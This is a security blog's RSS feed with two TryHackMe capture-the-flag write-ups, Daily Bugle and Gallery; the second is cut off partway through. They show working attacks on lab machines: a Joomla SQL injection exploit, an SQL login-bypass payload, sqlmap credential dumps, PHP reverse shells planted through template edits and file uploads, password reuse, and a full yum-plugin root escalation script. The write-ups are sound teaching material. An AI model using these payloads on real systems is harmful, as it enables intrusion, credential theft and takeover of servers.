<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>0xm3dd</title><description>Cybersecurity Enthusiast | Penetration Testing &amp; Red Teaming | CTF Player</description><link>https://0xm3dd.github.io/</link><language>en</language><item><title>TryHackMe: Daily Bugle Writeup</title><link>https://0xm3dd.github.io/posts/tryhackme/dailybugle/dailybugle/</link><guid isPermaLink="true">https://0xm3dd.github.io/posts/tryhackme/dailybugle/dailybugle/</guid><description>A complete walkthrough of the Daily Bugle room on TryHackMe. Compromising a Joomla CMS via SQLi, cracking hashes, and escalating privileges using yum.</description><pubDate>Sun, 22 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Daily Bugle is a Hard difficulty room on TryHackMe that focuses on web exploitation and Linux privilege escalation. The path involves enumerating a Joomla CMS, exploiting a known SQL injection vulnerability to steal password hashes, cracking those hashes for initial access, and finally exploiting a misconfigured &lt;code&gt;yum&lt;/code&gt; binary to obtain root.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Room Link:&lt;/strong&gt; &lt;a href=&quot;https://tryhackme.com/room/dailybugle&quot;&gt;Daily Bugle&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;1. Reconnaissance&lt;/h2&gt;
&lt;h3&gt;Nmap Scan&lt;/h3&gt;
&lt;p&gt;I started the engagement by running a comprehensive Nmap scan to identify open ports and services running on the target machine.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -A -T4 -p- 10.82.177.219 -oA scan -Pn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Scan Results:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Starting Nmap 7.98 ( [https://nmap.org](https://nmap.org) ) at 2026-02-22 12:42 +0000
Nmap scan report for 10.82.177.219
Host is up (0.067s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
|   256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_  256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
|_http-title: Home
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-generator: Joomla! - Open Source Content Management
3306/tcp open  mysql   MariaDB 10.3.23 or earlier (unauthorized)
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;22/tcp: SSH (OpenSSH 7.4)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;80/tcp: HTTP (Apache 2.4.6 / PHP 5.6.40)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;3306/tcp: MySQL (MariaDB)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::note
The Nmap output (robots.txt and http-generator) strongly indicates the web server is running the Joomla! Content Management System.
:::&lt;/p&gt;
&lt;h2&gt;2. Web Enumeration&lt;/h2&gt;
&lt;h3&gt;Exploring the Homepage&lt;/h3&gt;
&lt;p&gt;Navigating to the web server on port 80, I was greeted by the Daily Bugle homepage. The main article prominently features a security camera image and a headline answering our first objective.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 1&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Access the web server, who robbed the bank?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Spiderman&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Directory Enumeration&lt;/h3&gt;
&lt;p&gt;Investigating the &lt;code&gt;robots.txt&lt;/code&gt; file revealed a standard Joomla directory structure, including the &lt;code&gt;/administrator/&lt;/code&gt; backend login panel.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/2.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Without valid credentials, I needed to determine the exact version of the CMS to hunt for public exploits. The version wasn&apos;t readily apparent in the page source code.&lt;/p&gt;
&lt;h3&gt;Version Discovery&lt;/h3&gt;
&lt;p&gt;After some research on Joomla enumeration (https://hackertarget.com/attacking-enumerating-joomla/#joomla-core-version), I learned that the core version is often exposed in an XML manifest file. I navigated to the following endpoint:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/administrator/manifests/files/joomla.xml&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/3.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Reading the XML file, I successfully identified the Joomla version.&lt;/p&gt;
&lt;p&gt;:::tip
When attacking Joomla, if automated tools like &lt;code&gt;joomscan&lt;/code&gt; fail or you want to enumerate manually, &lt;code&gt;/administrator/manifests/files/joomla.xml&lt;/code&gt; or &lt;code&gt;/language/en-GB/en-GB.xml&lt;/code&gt; are the best places to find the exact version number.
:::&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 2&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the Joomla version?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;3.7.0&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;3. Initial Exploitation (SQL Injection)&lt;/h2&gt;
&lt;h3&gt;Finding the Exploit&lt;/h3&gt;
&lt;p&gt;Knowing the target is running Joomla 3.7.0, I searched for known vulnerabilities. This specific version is notoriously vulnerable to &lt;strong&gt;CVE-2017-8917&lt;/strong&gt;, an unauthenticated SQL Injection in the &lt;code&gt;com_fields&lt;/code&gt; component.&lt;/p&gt;
&lt;p&gt;Following the room&apos;s hint to use a Python script instead of &lt;code&gt;sqlmap&lt;/code&gt;, I located a public exploit on GitHub called &lt;strong&gt;Joomblah&lt;/strong&gt; (&lt;code&gt;https://github.com/teranpeterson/Joomblah&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;:::note
&lt;strong&gt;CVE-2017-8917:&lt;/strong&gt; This vulnerability allows an attacker to inject SQL commands into the backend database without needing to authenticate, often leading to the extraction of sensitive data like session tokens or administrator password hashes.
:::&lt;/p&gt;
&lt;h3&gt;Running Joomblah&lt;/h3&gt;
&lt;p&gt;I downloaded the &lt;code&gt;joomblah.py&lt;/code&gt; script and executed it against the target URL.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Downloading the exploit
wget https://raw.githubusercontent.com/teranpeterson/Joomblah/master/joomblah.py

# Running the exploit
python3 joomblah.py http://10.82.177.219
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Extracting and Cracking the Hash&lt;/h3&gt;
&lt;p&gt;Running the &lt;code&gt;joomblah.py&lt;/code&gt; script successfully exploited the vulnerability and dumped the database contents, revealing the credentials for the Super User account.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/4.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Username:&lt;/strong&gt; &lt;code&gt;jonah&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hash:&lt;/strong&gt; &lt;code&gt;$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::note
The &lt;code&gt;$2y$&lt;/code&gt; prefix signifies that this is a &lt;strong&gt;bcrypt&lt;/strong&gt; hash. Bcrypt is intentionally designed to be slow and computationally expensive to resist brute-force attacks, so cracking it might take a minute or two.
:::&lt;/p&gt;
&lt;p&gt;Given the hardware-intensive nature of cracking bcrypt locally, I opted to check public cracked hash databases first to save CPU resources. I submitted the hash to &lt;code&gt;hashes.com&lt;/code&gt;, which had it in its database and instantly returned the plaintext password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/5.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 3&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is Jonah&apos;s cracked password?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;spiderman123&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;After using the credentials found , I have successfully logged in.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/6.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;4. Initial Access (Reverse Shell)&lt;/h2&gt;
&lt;h3&gt;Exploiting Joomla Templates&lt;/h3&gt;
&lt;p&gt;With administrative access to the Joomla backend, my next objective was to establish a reverse shell on the underlying system. Joomla allows administrators to modify the source code of the site&apos;s frontend templates directly from the browser.&lt;/p&gt;
&lt;p&gt;I navigated to &lt;strong&gt;Extensions &amp;gt; Templates &amp;gt; Templates&lt;/strong&gt; and selected the default &lt;strong&gt;beez3&lt;/strong&gt; template. I chose to edit the &lt;code&gt;error.php&lt;/code&gt; file, replacing its legitimate PHP code with a standard PHP reverse shell payload, configured with my VPN IP and listening port (9001).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/7.png&quot; alt=&quot;img&quot; /&gt;
&lt;img src=&quot;./Images/8.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::tip
Joomla stores its frontend templates in the &lt;code&gt;/templates/&lt;/code&gt; directory at the web root. By knowing the template name (&lt;code&gt;beez3&lt;/code&gt;) and the edited file (&lt;code&gt;error.php&lt;/code&gt;), the malicious code can be executed simply by browsing to that specific URL.
:::&lt;/p&gt;
&lt;h3&gt;Triggering the Payload&lt;/h3&gt;
&lt;p&gt;After saving the modified template file, I set up a Netcat listener on my attack machine.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ncat -lnvp 9001
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I then triggered the payload by navigating to the file&apos;s location in the browser:
&lt;code&gt;http://10.82.177.219/templates/beez3/error.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt; --&amp;gt; The web server executed the PHP code, and I successfully caught a reverse shell connection.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/9.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Shell Stabilization&lt;/h3&gt;
&lt;p&gt;Upon receiving the connection, the shell was limited (non-interactive). I stabilized it using Python to spawn a fully interactive TTY.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
python3 -c &apos;import pty;pty.spawn(&quot;/bin/bash&quot;)&apos;
export TERM=xterm
# (Ctrl+Z to background)
stty raw -echo; fg

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5. Lateral Movement (jjameson)&lt;/h2&gt;
&lt;h3&gt;Enumerating Local Users&lt;/h3&gt;
&lt;p&gt;While exploring the file system as the apache user, I checked the /home/ directory to identify potential targets for privilege escalation. I discovered a user directory for jjameson. However, my current privileges did not allow me to read the contents of their home folder.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/10.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;To find a way to pivot to this user, I navigated to the web application&apos;s root directory (/var/www/html/) to look for sensitive files.&lt;/p&gt;
&lt;p&gt;:::tip
In CMS environments like Joomla or WordPress, core configuration files (configuration.php or wp-config.php) are prime targets because they invariably contain plaintext backend database credentials.
:::&lt;/p&gt;
&lt;p&gt;Reading the configuration.php file revealed the database user (root) and its password.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /var/www/html/configuration.php | grep password
# Output: public $password = &apos;nv5uz9r3ZEDzVjNu&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Password Reuse&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I initially used these credentials to log into the MySQL database, but further enumeration there didn&apos;t yield any immediate escalation paths. Suspecting a classic case of password reuse, I tried switching to the jjameson user account using the discovered database password.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;su jjameson
# Password: nv5uz9r3ZEDzVjNu
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Success! The password was valid, and I successfully moved laterally to the jjameson account.&lt;/p&gt;
&lt;p&gt;Retrieving the User Flag
Now authenticated as jjameson, I navigated to the user&apos;s home directory and successfully retrieved the user flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/11.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 4&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the user flag?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;27a260[REDACTED]80442e&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;6. Privilege Escalation (Root)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Enumerating Sudo Privileges&lt;/strong&gt;:
After gaining access as the jjameson user, my first step to escalate privileges was to check what commands the user is permitted to run as root using sudo.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo -l
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/12.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The output revealed that &lt;code&gt;jjameson&lt;/code&gt; can execute the &lt;code&gt;yum&lt;/code&gt; package manager as &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Exploiting Yum via Custom Plugins (GTFOBins)
I referenced GTFOBins for /usr/bin/yum and found that yum allows the loading of custom Python plugins. By creating a malicious plugin and executing yum with sudo, we can force the application to execute arbitrary Python code as the root user.&lt;/p&gt;
&lt;p&gt;I executed the following block of commands to set up the malicious plugin and trigger the exploit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
# 1. Create a temporary directory
TF=$(mktemp -d)

# 2. Create a custom yum configuration file pointing to the temp directory
cat &amp;gt;$TF/x&amp;lt;&amp;lt;EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

# 3. Create the plugin configuration file to enable it
cat &amp;gt;$TF/y.conf&amp;lt;&amp;lt;EOF
[main]
enabled=1
EOF

# 4. Create the malicious Python plugin that spawns a bash shell
cat &amp;gt;$TF/y.py&amp;lt;&amp;lt;EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version=&apos;2.1&apos;
def init_hook(conduit):
  os.execl(&apos;/bin/bash&apos;,&apos;/bin/bash&apos;)
EOF

# 5. Execute yum with sudo, loading the malicious configuration and plugin
sudo yum -c $TF/x --enableplugin=y

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/13.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The malicious plugin was loaded and executed by yum running as root, immediately dropping me into a root shell.&lt;/p&gt;
&lt;h3&gt;Retrieving the Root Flag&lt;/h3&gt;
&lt;p&gt;With full administrative control over the machine, I navigated to the root directory and retrieved the final flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/14.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 5&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the root flag?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;eec3d53[REDACTED]fa6f79&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Happy Hacking fellas :)&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>TryHackMe: Gallery Writeup</title><link>https://0xm3dd.github.io/posts/tryhackme/gallery/thm-gallery/</link><guid isPermaLink="true">https://0xm3dd.github.io/posts/tryhackme/gallery/thm-gallery/</guid><description>Exploiting a poorly secured image gallery system.</description><pubDate>Mon, 16 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Room Link:https://tryhackme.com/room/gallery666&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Gallery&lt;/strong&gt; is a vulnerable Linux machine featuring a custom-built Image Gallery CMS. The investigation focuses on identifying weaknesses in the web application layer, performing credential recovery, and exploiting system-level misconfigurations to achieve full administrative control.&lt;/p&gt;
&lt;h3&gt;Objectives&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reconnaissance:&lt;/strong&gt; Identify open services and software versions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Initial Access:&lt;/strong&gt; Exploit the CMS to obtain a low-privileged shell.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Privilege Escalation:&lt;/strong&gt; Elevate permissions from a standard user to &lt;code&gt;root&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Task 1: Deploy and get a Shell&lt;/h1&gt;
&lt;h2&gt;1. Enumeration&lt;/h2&gt;
&lt;p&gt;I performed a full TCP port scan using Nmap to identify open services.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -A -T4 -p- 10.67.152.216 -oN nmap-scan
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Nmap Results:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;22/tcp: SSH (OpenSSH 8.2p1)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;80/tcp: HTTP (Apache default page)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;8080/tcp: HTTP (Simple Image Gallery System)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 1&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;How many ports are open?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;3&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;After Inspecting the webpage at port &lt;code&gt;8080&lt;/code&gt; we can clearly see the name of the &lt;code&gt;CMS&lt;/code&gt; running on that port.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/2.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 2&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What&apos;s the name of the CMS?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Simple Image Gallery&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;2. Web Exploitation&lt;/h2&gt;
&lt;h3&gt;Authentication Bypass&lt;/h3&gt;
&lt;p&gt;I navigated to the login page at http://10.67.152.216:8080/gallery/login.php. Suspecting a lack of input sanitization, I attempted a standard SQL injection payload in the Username field to bypass authentication.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Payload: &lt;strong&gt;admin&apos; OR 1=1 -- -&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Password: &lt;strong&gt;password (Any value works)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./Images/3.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The application accepted the payload, treating the condition 1=1 as true, and logged me in as the administrator.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/4.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Database Enumeration (SQL Injection)&lt;/h3&gt;
&lt;p&gt;Once inside the dashboard, I confirmed the CMS version is 1.0. I searched for known vulnerabilities using &lt;code&gt;searchsploit&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/5.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I identified an SQL Injection vulnerability in the id parameter (reading &lt;code&gt;50198.txt&lt;/code&gt; exploit file).&lt;/p&gt;
&lt;h3&gt;Exploitation (Burp Suite)&lt;/h3&gt;
&lt;p&gt;To replicate the exploit&apos;s Proof of Concept (PoC) exactly, I captured the specific HTTP request triggering the vulnerability.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Intercepting the Request:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I configured my browser to proxy traffic through Burp Suite and clicked on an image within an album. I captured the GET request containing the vulnerable id parameter and saved it to a file named test.req.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/6.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Enumerating Databases:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I passed the captured request file to sqlmap to identify the backend databases.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sqlmap -r test.req --dbs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/7.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sqlmap identified the backend DBMS as MySQL and listed the available databases.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/8.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Retrieving Admin Credentials&lt;/h2&gt;
&lt;p&gt;With the database name identified as &lt;code&gt;gallery_db&lt;/code&gt;, I targeted the users table to dump the administrator&apos;s credentials.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sqlmap -r test.req -D gallery_db -T users --dump --batch
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/9.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The tool successfully dumped the users table, revealing the administrator&apos;s username and password hash.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 3&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What&apos;s the hash password of the admin user?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;a228b12a[REDACTED]be5d914531c&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;3. Remote Code Execution (RCE)&lt;/h2&gt;
&lt;h3&gt;File Upload Vulnerability&lt;/h3&gt;
&lt;p&gt;With administrative access confirmed, I navigated to the &quot;Albums&quot; dashboard. I created a new album and discovered that the image upload feature lacks proper file type validation, allowing for the upload of PHP scripts.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/10.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exploitation Steps:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Payload Preparation:&lt;/strong&gt; I prepared a standard PHP reverse shell (PentestMonkey), modifying the &lt;code&gt;$ip&lt;/code&gt; to my VPN address and the &lt;code&gt;$port&lt;/code&gt; to 1337. You can use your preffered port :)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Upload:&lt;/strong&gt; Inside the new album, I uploaded the malicious php_reverse_shell.php file.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./Images/11.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Listener Setup:&lt;/strong&gt; I started a Netcat listener on port 1337 to catch the connection.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;nc -lnvp 1337
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Execution:&lt;/strong&gt; I clicked on the uploaded file icon in the dashboard to execute the script on the server.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Initial Access:&lt;/h3&gt;
&lt;p&gt;I successfully established a reverse shell connection as the &lt;em&gt;www-data&lt;/em&gt; user.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/12.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Shell Stabilization&lt;/h3&gt;
&lt;p&gt;Upon receiving the connection, the shell was limited (non-interactive). I stabilized it using Python to spawn a fully interactive TTY.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -c &apos;import pty;pty.spawn(&quot;/bin/bash&quot;)&apos;
export TERM=xterm
# (Ctrl+Z to background)
stty raw -echo; fg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/13.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;4. Lateral Movement (Mike)&lt;/h2&gt;
&lt;p&gt;After gaining initial access as www-data, I spent a significant amount of time manually exploring the file system. I checked standard locations like /home, /var/www, and /opt but hit several dead ends. The room hint &quot;Mike&apos;s mistake&quot; suggested a human error, so I expanded my search to look for backup files or hidden history.&lt;/p&gt;
&lt;p&gt;:::tip&lt;/p&gt;
&lt;p&gt;In a real engagement, running an automated enumeration script like LinPEAS (./linpeas.sh) is highly recommended at this stage. It would likely have flagged the /var/backups directory or the readable .bash_history file immediately, saving time on manual searching.&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h3&gt;Discovery: The Backup Directory&lt;/h3&gt;
&lt;p&gt;My persistence paid off when I investigated the /var/backups/ directory. I discovered a non-standard folder named mike_home_backup.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ls -al /var/backups/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Inside this directory, I found a .bash_history file that was readable by my current user (www-data).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/14.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The history revealed the critical mistake: the user accidentally typed their password directly into the command line while trying to run sudo -l.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Credential Found: &lt;code&gt;b3stpassw0rdbr0xx&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Switching Users&lt;/h3&gt;
&lt;p&gt;I used this leaked password to switch to the mike user.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/15.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now authenticated as Mike, I retrieved the user flag.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 4&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What&apos;s the user flag?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;THM{REDACTED}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Task 2: Escalate to the root user&lt;/h1&gt;
&lt;h2&gt;1. Privilege Escalation Enumeration&lt;/h2&gt;
&lt;p&gt;After gaining access as mike, I checked for sudo privileges to identify potential escalation vectors.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/16.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The output confirmed that mike can run a custom script as root without a password.&lt;/p&gt;
&lt;p&gt;I inspected the content of this script to understand its functionality.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /opt/rootkit.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash

read -e -p &quot;Would you like to versioncheck, update, list or read the report ? &quot; ans;


# Execute your choice

case $ans in

    versioncheck)

